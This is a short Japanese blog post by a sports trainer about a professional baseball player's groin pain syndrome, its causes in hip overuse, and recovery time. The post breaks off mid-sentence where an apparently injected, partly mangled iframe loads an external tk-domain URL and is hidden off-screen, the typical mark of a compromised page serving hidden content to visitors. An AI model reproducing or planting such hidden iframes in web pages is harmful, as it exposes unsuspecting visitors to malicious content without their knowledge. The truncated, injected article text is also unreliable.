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こんばんは
ビーグラン トレーナーの高橋涼です!

プロ野球 中日ドラゴンズの平田選手がグロインペイン症候群により出場選手登録を抹消されたというニュースがありました。
この怪我はサッカー選手にもよく起こるもので、骨盤と股関節周囲の酷使による過負荷や、慢性的な疲労からくる下腹部周辺への痛みです。

最短の復帰でも1ヶ月かかるようですね。

このような怪我にならないためにも股関節周りの筋肉の疲労!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

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